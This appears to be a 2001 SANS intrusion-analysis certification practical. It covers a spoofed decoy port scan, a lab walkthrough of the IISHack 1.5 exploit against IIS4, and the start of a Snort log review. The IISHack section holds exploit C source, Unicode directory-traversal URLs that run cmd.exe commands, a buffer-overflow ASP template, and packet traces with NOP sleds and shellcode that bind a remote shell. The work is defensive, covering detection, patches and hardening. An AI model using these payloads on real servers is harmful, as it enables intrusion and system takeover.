3Apr2001	12:17:15	tcp	24.113.21.215	our.mail.relay	5050	52233

1. Source of Trace:

My company's network

2. Detect was generated by:

FireWall-1 Log

3. Probability the source address was spoofed:

Some of these packets were definitely spoofed. All the scans took place at the same time, all targeting the same host, all using the same source port. The scans are done in groups of four. I would say that one of the IP addresses is real and the other 3 are spoofed.

4. Description of attack:

Port scan against a mail relaying host where the packets appear to be coming from different hosts but all packets have the same source port. This is a probe to see which services are active on the host.

5. Attack mechanism:

The port scan is done in groups of four. The first four log entires show connection attempts on port 4672 from four different hosts. The next four entires show connection attempts on port 1350 from the same source addresses in the same order. The source port is fixed at 52233 throughout the scan.

These packets are definitely crafted as such a pattern could not come from valid network traffic. The fact that the source port remains constant indicates that only one of the IP addresses is valid and the other three are spoofed. The reason why this is done is to confuse the analyser of the logs and make it difficult to trace. If the scan will be followed up three times as much work will be required, on average, to find which host really did the scan. Even so, it will be difficult to prove which IP address really initiated the probe.

6. Correlations:

Port scans are very common. Various tools are available which can be configured to spoof addresses in a pattern as seen above. Using the -Ddecoy_host1 switch on Nmap would achieve this.

7. Evidence of active targeting:

This host was targeted as all the packets in the scan had its IP address in the destination field.

8. Severity:

Item	Rating	Comment
Criticality	4	This is a scan against our mail relayer, which is considered an essential part of our business.
Lethality	1	This is a port scan and therefore just probing for active services. On its own, this is not an attack.
System Countermeasures	5	The mail relayer is running on a hardened platform with latest patches applied for OS and application.
Network Countermeasures	5	This host is protected by a firewall that only allows in connections of the required port. IDS is used.
Severity	-5	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. Defensive recommendation:

The defences in place are adequate. This was just a probe and not an attack in itself.

10. Multiple choice test question:

The logs above show:

a) Four different sources trying to connect to the same hosts at the same time, thereby causing a DOS against the host.
b) A co-incidence that four separate hosts are trying to connect to a mail relayer on non-well known services.

c) Crafted packets used to investigate which services are active on the host, only one is valid and the others spoofed to make tracing of the probe very difficult.
d) Attempted "back-door" entry from various hosts.

Assignment 2: Analysis of an attack - IISHack 1.5

2.1 Attack identification

This attack exploits two vulnerabilities:

Exploit name: IISHack 1.5
Author: eEye – Digital Security
Description: Microsoft IIS 4 ISAPI buffer overflow vulnerabilty
Platform: Microsoft Windows NT4, IIS 4 Service Pack 6
Bugtraq ID: 1911

Exploit Name: IISHack 1.5
Author: eEye – Digital Security
Description: Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability
Platform: Microsoft Windows NT4, IIS 4 Service Pack 6
Bugtraq ID: 1806

On the third of November 2000, eEye – Digital Security released an exploit called IISHack 1.5, which targets a buffer overflow in the inetinfo.exe process, allowing the attacker to execute commands with System privileges on the host. This exploit requires a malicious ASP file to be resident on the system, which when parsed by IIS causes the buffer overflow. [ref 4]
Security Focus posted the exploit under the name Microsoft IIS 4.0 ISAPI Buffer Overflow Vulnerability, with credit to eEye. [ref 5]

An existing vulnerability at the time, described by MS00-078 (Web Server Folder Traversal Vulnerability, also known Extended Unicode Directory Traversal Vulnerability) [ref 6, ref 7], allows an attacker to exploit a canonicalization error by using a malformed URL. This would then allow the attacker to "add, change or delete data, run code already on the server, or upload new code to the server and run it." [ref 6]

By coupling this exploit with the pre-existing vulnerability on IIS, allows the exploit to be run remotely.

The IISHack 1.5 exploit therefore combines two vulnerabilities, which will be discussed below.

2.2 Attack description

The remote version of this attack was modelled in a laboratory environment against a Windows NT4 host with IIS4, with a default installation of IIS4 and then patched to SP6a. All the traces between an attacking host and the web server were captured. The description will discuss the two stages in the remote attack: 1. Upload the malicious ASP file. 2. Cause buffer overflow in inet.exe process and gain System level access.

Stage 1: Upload malicious ASP file.

" Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended UNICODE character representations are used in substitution for "/" and "\"." [ref 7]

By using an extended Unicode representations, as shown below (others shown in ref 7), one can run commands such as "dir", "copy", "del", "echo" etc on the web server.

```
http://web.server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://web.server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\  (to get listing of C drive, %20 is the Unicode representation of a space [ASCI 255])
http://web.server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy%20c:\temp\filename%20c:\ (to copy the file filename from the c:\temp directory to the c:\ root directory)
etc, etc,
```

Notes:

- The traces of the exploit show 8 repetitions of Unicode characters before the path of the file is referenced. (c0%af..%c0%af..%c0%af. … etc). The number 8 is not crucial to the exploit; it just ensures that the directories are traversed to the root level from wherever the Virtual Directory was in the O/S. This allows the same code to be used for whichever Virtual Directory is referred.
- The reference to the cmd.exe file is made through the "scripts" Virtual Directory which is linked to the c:\inetpub\scripts directory. This is a setting that can only be seen in the description of the web site in the Microsoft Management Console (MMC). This is a default setting in the configuration of the Default Web Site in an IIS 4 "out of the box" installation. The "scripts" virtual directory is focused on here because this is virtual directory used in the exploit. However, other virtual directories with executable permissions could also be used. The default installation of IIS 4 has the following Virtual Directories created with execute permissions, in the Default Web Site:
  - SCRIPTS - pointing to C:\inetpub\scripts
  - IISADMPWD – pointing to C:\WINNT\System32\inetsrv\iisadmpwd
  - Msadc – pointing to C:\Program Files\Common Files\system\msadc
  - Mail – pointing to C:\inetpub\Mail

  Note: IISHack 1.5 checks for the existence of these virtual directories (except Mail), as they are part of the default IIS4 installation. The scripts virtual directory was the first successful executable tried. Other directories associated with FrontPage Server extensions are also tried. The code could be modified to search for any directory you wish. (see extract of c code below [ref 8])
- The presence of the virtual directory pointing to a location on the same partition as the O/S is a requirement for the attack. "Unauthenticated users may access any known file in the context of the

IUSR_machinename account. The IUSR_machinename account is a member of the Everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed." [ref 7]

The first stage of the attack searches for an executable directory where the malicious code can be uploaded to and run. When this directory is found, the c:\winnt\system32\cmd.exe file is copied into it and renamed to eeyehack.exe.

The code below shows how IIShack 1.5 searches for an executable directory. Note: the code can be changed to look for any number of directories, but the authors have chosen some common ones. [ref 8]

```
void FindExeDir(char *host, u_short port)
{
        int SockFD,i;
        struct sockaddr_in DstSAin;
        //add more directories if you like but make sure to change the for() loop accordingly.
        char *ExeDirs[5]={"scripts","IISADMPWD","msadc","cgi-bin","_vti_bin"};
        char waste[500],uniwaste[500];
        char *buffer,*p;
        char space[3];
        int rbytes=0,loc1=0,loc2=0;
        char locdir[300];

        memset(locdir,0,300);
        memset(uniwaste,0,499);
        memset(space,0,3);
        strcpy(space,"%20");
        printf("Attempting to find an executable directory...\n");
        for(i=0;i<8;i++)
        {
                strcat(uniwaste,"..");
                strcat(uniwaste,UNISTRING); //create drop back url string
        }
        for(i=0;i<4;i++)
        {
                memset(waste,0,500);
                //create our string that sees if we can execute cmd.exe
                //that way we know if a directory is executable and if the exe dir is on the same harddrive as
cmd.exe
                sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sdir
HTTP/1.0\n\n",ExeDirs[i],uniwaste,space);
                SockFD=socket(AF_INET,SOCK_STREAM,0);
                DstSAin.sin_family= AF_INET;
                DstSAin.sin_port = htons(port);
                DstSAin.sin_addr.s_addr=iplookup(host);
                if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
                {
                        printf("Trying directory [%s]\n", ExeDirs[i]);
                        send(SockFD,waste,strlen(waste),0); //try one of the directories
                        buffer=GetData(SockFD);
                        p=strstr(buffer,"Directory of"); //we found an executable directory on the same drive
as cmd.exe!!!
                        if(p!=NULL)
```

The trace below shows that the first directory that is tested is the c:\inetpub\scripts directory. This is because it is the first directory in the array called Exedirs (see code above), and it also unsurprisingly the default directory that the "Scripts" Virtual Directory is linked to. Note the trigger "Directory of" is received which means the directory is executable. This does not mean that the exploit will work, because NTFS permissions still have to be satisfied so that the malicious code can be written to the file system.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:11.384170 attack.host:3310 -> web.server:80
TCP TTL:128 TOS:0x0 ID:31947 IpLen:20 DgmLen:160 DF
***AP*** Seq: 0x34EE40A1  Ack: 0xCCAB  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25    GET /scripts/..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 77 69    c0%af..%c0%af/wi
6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D 64    nnt/system32/cmd
2E 65 78 65 3F 2F 63 25 32 30 64 69 72 20 48 54    .exe?/c%20dir HT
54 50 2F 31 2E 30 0A 0A                            TP/1.0..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:11.498878 web.server:80 -> attack.host:3310
TCP TTL:128 TOS:0x0 ID:28928 IpLen:20 DgmLen:231 DF
***AP*** Seq: 0xCCAB  Ack: 0x34EE4119  Win: 0x21C0  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D    HTTP/1.1 200 OK.
0A 53 65 72 76 65 72 3A 20 4D 69 63 72 6F 73 6F    .Server: Microso
66 74 2D 49 49 53 2F 34 2E 30 0D 0A 44 61 74 65    ft-IIS/4.0..Date
3A 20 54 75 65 2C 20 31 30 20 41 70 72 20 32 30    : Tue, 10 Apr 20
30 31 20 31 32 3A 31 33 3A 35 32 20 47 4D 54 0D    01 12:13:52 GMT.
0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61    .Content-Type: a
70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74    pplication/octet
2D 73 74 72 65 61 6D 0D 0A 56 6F 6C 75 6D 65 20    -stream..Volume
69 6E 20 64 72 69 76 65 20 43 20 68 61 73 20 6E    in drive C has n
6F 20 6C 61 62 65 6C 2E 0D 0A 56 6F 6C 75 6D 65    o label...Volume
20 53 65 72 69 61 6C 20 4E 75 6D 62 65 72 20 69    Serial Number i
73 20 30 43 38 46 2D 46 34 37 42 0D 0A 0D 0A       s 0C8F-F47B....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:11.502626 web.server:80 -> attack.host:3310
TCP TTL:128 TOS:0x0 ID:29184 IpLen:20 DgmLen:369 DF
***AP**F Seq: 0xCD6A  Ack: 0x34EE4119  Win: 0x21C0  TcpLen: 20
20 44 69 72 65 63 74 6F 72 79 20 6F 66 20 63 3A    Directory of c:
5C 49 6E 65 74 70 75 62 5C 73 63 72 69 70 74 73    \Inetpub\scripts
0D 0A 0D 0A 30 34 2F 31 30 2F 30 31 20 20 31 30    ....04/10/01  10
3A 31 33 70 20 20 20 20 20 20 20 20 20 3C 44 49 52  :13p       <DIR
3E 20 20 20 20 20 20 20 20 20 2E 0D 0A 30 34  >        ...04
2F 31 30 2F 30 31 20 20 31 30 3A 31 33 70 20 20    /10/01  10:13p
20 20 20 20 20 20 3C 44 49 52 3E 20 20 20 20 20    <DIR>
20 20 20 20 20 2E 2E 0D 0A 31 31 2F 31 38 2F 39    ....11/18/9
39 20 20 31 31 3A 30 34 61 20 20 20 20 20 20 20  9    11:04a

******************** Trace Pruned **********************************
```

The trace below shows how the cmd.exe file is copied and renamed.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:11.880292 attack.host:3311 -> web.server:80
TCP TTL:128 TOS:0x0 ID:31952 IpLen:20 DgmLen:223 DF
***AP*** Seq: 0x34F11D1B  Ack: 0xCCB8  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25    GET /scripts/..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 77 69    c0%af..%c0%af/wi
6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D 64    nnt/system32/cmd
2E 65 78 65 3F 2F 63 25 32 30 63 6F 70 79 25 32    .exe?/c%20copy%2
30 63 3A 5C 77 69 6E 6E 74 5C 73 79 73 74 65 6D    0c:\winnt\system
33 32 5C 63 6D 64 2E 65 78 65 25 32 30 63 3A 5C    32\cmd.exe%20c:\
49 6E 65 74 70 75 62 5C 73 63 72 69 70 74 73 5C    Inetpub\scripts\
65 65 79 65 68 61 63 6B 2E 65 78 65 20 48 54 54    eeyehack.exe HTT
50 2F 31 2E 30 0A 0A                               P/1.0..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Everything is now in place to create the malicious ASP file that when parsed by IIS will cause the buffer overflow. This ASP file is actually very simple, all it requires is a large amount of characters to be placed in a buffer, as shown below:

```
----start-cut-of-malicious ASP file----
<SCRIPT LANGUAGE="[buffer]" RUNAT="Server">
</SCRIPT>
----start-cut-of-malicious ASP file----

Where [buffer] is 2220 characters or more.
```

The following trace shows how this was done by the code. The trace is pruned, just indication where the buffer starts filling up and where it ends.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:12.382195 attack.host:3312 -> web.server:80
TCP TTL:128 TOS:0x0 ID:31958 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x34F39287  Ack: 0xCCBF  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25    GET /scripts/..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25    c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 49 6E    c0%af..%c0%af/In
65 74 70 75 62 5C 73 63 72 69 70 74 73 2F 65 65    etpub\scripts/ee
79 65 68 61 63 6B 2E 65 78 65 3F 2F 63 25 32 30    yehack.exe?/c%20
65 63 68 6F 25 32 30 5E 3C 53 43 52 49 50 54 25    echo%20^<SCRIPT%
32 30 4C 41 4E 47 55 41 47 45 25 33 64 22 90 90    20LANGUAGE%3d"..
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................

********************* Trace Pruned ***********************************

******************8 Last segment where malicious ASP file is created *******
04/10-21:34:12.384111 attack.host:3312 -> web.server:80
TCP TTL:128 TOS:0x0 ID:31962 IpLen:20 DgmLen:224 DF
***AP**F Seq: 0x34F39DEF  Ack: 0xCCBF  Win: 0x4470  TcpLen: 20
E4 E1 C3 EC E9 E0 85 D6 E9 E0 E0 F5 85 D2 F7 EC  ................
F1 E0 C3 EC E9 E0 85 85 F2 F6 B7 DA B6 B7 AB E1  ................
E9 E9 85 E4 E6 E6 E0 F5 F1 85 E7 EC EB E1 85 E9  ................
EC F6 F1 E0 EB 85 F7 E0 E6 F3 85 F6 E0 EB E1 85  ................
F6 EA E6 EE E0 F1 85 85 85 E6 E8 E1 AB E0 FD E0  ................
85 85 87 85 85 B0 85 85 85 85 85 85 85 85 85 85  ................
85 85 22 25 32 30 52 55 4E 41 54 25 33 64 22 53  .. "%20RUNAT%3d"S
65 72 76 65 72 22 5E 3E 25 32 30 5E 3C 2F 53 43    erver"^>%20^</SC
52 49 50 54 5E 3E 25 32 30 3E 25 32 30 63 3A 5C    RIPT^>%20>%20c:\
49 6E 65 74 70 75 62 5C 73 63 72 69 70 74 73 5C    Inetpub\scripts\
65 65 79 65 72 75 6C 65 7A 2E 61 73 70 20 48 54    eeyerulez.asp HT
54 50 2F 31 2E 30 0A 0A                            TP/1.0..
```

Stage two: Cause buffer overflow in inetinfo.exe process and gain System level access.

The inetinfo.exe buffer overflow will occur when the file just created, eeyerulez.asp, is parsed by IIS. "The ASP ISAPI file parser does not properly execute certain malformed ASP files that contain scripts with the LANGUAGE parameter containing a buffer of over 2200 characters and have the RUNAT

value set as 'server'. Depending on the data entered into the buffer, a denial of service attack could be launched or arbitrary code could be executed under the SYSTEM privilege level in the event that a malicious ASP file were locally executed on IIS." [ref 7]

The trace below shows the file being requested:

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:12.384323 attack.host:3313 -> web.server:80
TCP TTL:128 TOS:0x0 ID:31963 IpLen:20 DgmLen:77 DF
***AP*** Seq: 0x34F42C54  Ack: 0xCCC2  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 65 65 79   GET /scripts/eey
65 72 75 6C 65 7A 2E 61 73 70 20 48 54 54 50 2F   erulez.asp HTTP/
31 2E 30 0A 0A                                    1.0..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Now the attacker can take control of the web server with System privileges.

In order to get onto the system, the cmd.exe is bound to a port which is specified by the attacker on the command line. By telnet'ing to this port, a command prompt will appear at the C:\windows\system32 directory. The web server is now at the mercy of the attacker.

Command line expression: IISHack1.5 [server] [server-port] [trojan-port]

The trace below shows the three way handshake and the telnet connection to port 53. (see section 2.3 for a description of why port 53 was chosen)

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:21.255960 attack.host:3314 -> web.server:53
TCP TTL:128 TOS:0x0 ID:31970 IpLen:20 DgmLen:48 DF
******S* Seq: 0x3516D5DF  Ack: 0x0  Win: 0x4000  TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:21.256140 web.server:53 -> attack.host:3314
TCP TTL:128 TOS:0x0 ID:32512 IpLen:20 DgmLen:44 DF
***A**S* Seq: 0xCCCC  Ack: 0x3516D5E0  Win: 0x2238  TcpLen: 24
TCP Options (1) => MSS: 1460

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:21.256392 attack.host:3314 -> web.server:53
TCP TTL:128 TOS:0x0 ID:31971 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x3516D5E0  Ack: 0xCCCD  Win: 0x4470  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/10-21:34:21.257124 web.server:53 -> attack.host:3314
TCP TTL:128 TOS:0x0 ID:32768 IpLen:20 DgmLen:130 DF
***AP*** Seq: 0xCCCD  Ack: 0x3516D5E0  Win: 0x2238  TcpLen: 20
4D 69 63 72 6F 73 6F 66 74 28 52 29 20 57 69 6E  Microsoft(R) Win
64 6F 77 73 20 4E 54 28 54 4D 29 0D 0A 28 43 29  dows NT(TM)..(C)
20 43 6F 70 79 72 69 67 68 74 20 31 39 38 35 2D   Copyright 1985-
31 39 39 36 20 4D 69 63 72 6F 73 6F 66 74 20 43  1996 Microsoft C
6F 72 70 2E 0D 0A 0D 0A 43 3A 5C 57 49 4E 4E 54  orp.....C:\WINNT
5C 73 79 73 74 65 6D 33 32 3E                    \system32>

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

2.3 Construction of the attack.

Although any port can be defined as the Trojan port, in this case, the port 53 was chosen, for the following reasons:

In a poorly configured firewall, TCP/53 is often allowed into the network, as people think they should allow DNS traffic everywhere. TCP/53 is only used for DNS zone transfers and special rules for such communication should be written accordingly. Check Point FireWall-1 version 4 allowed TCP/53 in through the firewall as a default setting. This default behaviour was changed in the next version, after the havoc it caused. Therefore if the shell is bound to port 53 the attacker would have a higher chance of compromising a web server protected by a poorly configured FireWall-1, or any other firewall.

2.4 Detecting the attack

Both vulnerabilities used in IIShack 1.5 were detected by Snort as shown below. Note that the second vulnerability was exploited about 300 hundredths of a second after the first one.

```
[**] INFO - Web File Copied ok [**]
04/10-21:34:11.912135 web.server:80 -> attack.host:3311
TCP TTL:128 TOS:0x0 ID:29952 IpLen:20 DgmLen:422 DF
***AP*** Seq: 0xCCB8  Ack: 0x34F11DD2  Win: 0x2181  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 35 30 32 20 47 61 74     HTTP/1.1 502 Gat
65 77 61 79 20 45 72 72 6F 72 0D 0A 53 65 72 76     eway Error..Serv
65 72 3A 20 4D 69 63 72 6F 73 6F 66 74 2D 49 49     er: Microsoft-II
53 2F 34 2E 30 0D 0A 44 61 74 65 3A 20 54 75 65     S/4.0..Date: Tue
2C 20 31 30 20 41 70 72 20 32 30 30 31 20 31 32  ,  10 Apr 2001 12
3A 31 33 3A 35 33 20 47 4D 54 0D 0A 43 6F 6E 74     :13:53 GMT..Cont
65 6E 74 2D 4C 65 6E 67 74 68 3A 20 32 34 32 0D     ent-Length: 242.
0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74     .Content-Type: t
65 78 74 2F 68 74 6D 6C 0D 0A 0D 0A 3C 68 65 61     ext/html....<hea
64 3E 3C 74 69 74 6C 65 3E 45 72 72 6F 72 20 69     d><title>Error i
6E 20 43 47 49 20 41 70 70 6C 69 63 61 74 69 6F     n CGI Applicatio
6E 3C 2F 74 69 74 6C 65 3E 3C 2F 68 65 61 64 3E     n</title></head>
0A 3C 62 6F 64 79 3E 3C 68 31 3E 43 47 49 20 45     .<body><h1>CGI E
72 72 6F 72 3C 2F 68 31 3E 54 68 65 20 73 70 65     rror</h1>The spe
63 69 66 69 65 64 20 43 47 49 20 61 70 70 6C 69     cified CGI appli
63 61 74 69 6F 6E 20 6D 69 73 62 65 68 61 76 65     cation misbehave
64 20 62 79 20 6E 6F 74 20 72 65 74 75 72 6E 69     d by not returni
6E 67 20 61 20 63 6F 6D 70 6C 65 74 65 20 73 65     ng a complete se
74 20 6F 66 20 48 54 54 50 20 68 65 61 64 65 72     t of HTTP header
73 2E 20 20 54 68 65 20 68 65 61 64 65 72 73 20     s.  The headers
69 74 20 64 69 64 20 72 65 74 75 72 6E 20 61 72     it did return ar
65 3A 3C 70 3E 3C 70 3E 3C 70 72 65 3E 20 20 20     e:<p><p><pre>
20 20 20 20 20 31 20 66 69 6C 65 28 73 29 20 63          1 file(s) c
6F 70 69 65 64 2E 0D 0A 3C 2F 70 72 65 3E           opied...</pre>

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

```
[**] EXPLOIT x86 NOOP [**]
04/10-21:34:12.382195 attack.host:3312 -> web.server:80
TCP TTL:128 TOS:0x0 ID:31958 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x34F39287  Ack: 0xCCBF  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25     GET /scripts/..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 49 6E     c0%af..%c0%af/In
65 74 70 75 62 5C 73 63 72 69 70 74 73 2F 65 65     etpub\scripts/ee
79 65 68 61 63 6B 2E 65 78 65 3F 2F 63 25 32 30     yehack.exe?/c%20
65 63 68 6F 25 32 30 5E 3C 53 43 52 49 50 54 25     echo%20^<SCRIPT%
32 30 4C 41 4E 47 55 41 47 45 25 33 64 22 90 90     20LANGUAGE%3d"..
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90     ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90     ................

**************** TRACE PRUNED *******************
```

2.5 Recommendations of avoiding attack

The vulnerability described by MS00-078 [ref 6] is actually fixed by the patch released with MS00-057 [ref 9]. This stops the ability to execute commands on the web server through the use of Unicode characters.

The ISAPI buffer overflow vulnerability that eEye discovered [ref 5] is fixed by the patch released with MS00-080 [ref 10].

Although these patches fix the vulnerabilities, the exploit could have been avoided if care was taken to configure the IIS web server with a security mindset.

The configuration of a default installation of IIS4 has been the cause of many vulnerabilities in the past, and is likely to continue in the future. A securely configured system would not have been vulnerable to the attack for the following reasons:

- The exploit targets the Virtual Directories which have execute permissions which are in the Default Web Site as part of an "out of the box" installation of IIS4. In the past these Virtual Directories and the sample files associated with them have been used in numerous exploits.
- The exploit uses the default location of cmd.exe in C:\windows\system32 to perform the major functionality of the attack. cmd.exe is used to echo in the content of the malicious ASP script and to bind a shell to a selected Trojan port.

The attack could have been avoided if the following recommended security settings had been considered. This type of configuration will most likely protect the web server against future exploits that attack the "out of the box" setup.

- Since the default Virtual Directories have little value themselves, they should be removed. The sample files associated with some if the Virtual Directories have also been used in numerous exploits, which is likely to continue into the future. Sample files should never be present on a Production host. In fact, when creating a web site, a new site should be created and the Default Web Site should be removed in its entirety. The new site will not have any Virtual Directories. The sample files need to be manually removed, and they reside in various locations on the O/S.
- If Virtual Directories are required, they should link to directories which reside on a different partition to the O/S.
- Common operating system tools, such as cmd.exe, ftp.exe, netstat.exe, route.exe etc should be removed out of the System root and placed in a separate directory, and have the following file system permission assigned: Administrators – Full Control. Exploits will therefore have to search for these tools and have the appropriate permissions, in order to use them.
- NTFS permissions should be carefully defined. Only the required users have write access to the file system. Generally speaking, the IUSR account should never have write access, and should also not have access to many files on the O/S partition. This will prevent an attacker from trying to access files that they would have access to under normal circumstances.
- Web content should be separated into directories for files of their own type. For eg, HTML files should be stored separately from ASP files, as HTML only requires read rights and ASP requires script rights.
- No outbound connections should be allowed from the web server and only the required protocols should be allowed to the web server, through the firewall. This will stop an attacker from downloading more tools

onto the host to gain further information, or use them to compromise other hosts on the network.

Assignment 3: Analyse this.

3.1 Objective

The objective of this assignment is to analyse data for a company called GIAC Enterprises, paying special attention to compromised hosts. The data is one months worth of Snort logs from a fairly standard rulebase. It was noted that the data from every day might not be present due to disk or power problems.

3.2 Data collection

The data was retrieved from the SANS web site which had a number of files with some obscure naming. The data can be broken into three sets as shown below. After checking the content of the files the following was deduced:

- Snort alerts recorded in "fast" mode, which are the scan files. (This was the bulk of the data)
- Snort alerts recorded in "full" mode, which are the alert files.
- Snort alerts recorded with full decode output, which are the OOS files.

It was noted that the first two sets of data contained some duplicate files. This was noted by seeing two files of exactly the same size and confirmed by using linux's *diff* utility. Duplicate files were removed from the collection, before all the files in each set were combined to form one file representing each type.

3.3 Data Review Techniques

Various techniques were reviewed from papers of previous GCIA students. It was decided to use SnortSnarf [ref 11] to analyse the alert files. Unfortunately the latest version of the software caused problems on RedHat Linux 6.1 and 7 and Solaris 8. A stable version of the software was used - v011601.1.

In order to parse the files through SnortSnarf, the obfuscation MY.NET was replaced with a valid IP address that was not used in any of the log files required to be reviewed. The IP chosen was "001.002". Other lines of text that were not log lines were grep'ed out of the alert files and the file piped through the *sort* utility to speed up SnortSnarf processing.

Several attempts to parse the scan logs through SnortSnarf failed on account of insufficient memory. The file was about 77MB in total and had over 1 million lines of logs. A RedHat Linux PentiumIII 500MHz machine with 500 MB or RAM and a 2GB swap file was not sufficient and neither was a Sun Ultra 10, 330MHz with 256 MB RAM.

Another technique was attempted using some tools from Lenny Zeltser [ref 12], to create a Berkely Database file and parse the files with various Perl scripts to analyse the source, destinations, hosts and networks. The database file created was over 160MB and took many hours to create by parsing the raw Snort logs into a text format.
All in all the amount of effort required to just get the logs into a format where they could be reviewed was very cumbersome and time consuming. It is recommended that logs be reviewed more frequently than just once per month

as the resources to perform such an analysis are not readily available for the time period required.

The OOS alerts were parsed with shell scripts to identify the top-talkers from the Internal network.

3.4 Data Analysis

3.4.1 Daily Logging Activity

The following information as been obtained from the logs (running shell scripts):

Port scans were logged on the following days:

Month	Dates
Jan	21, 30
Feb	1, 4, 5, 6, 7, 9, 10, 20, 21, 22, 23, 24, 25, 26, 27, 28
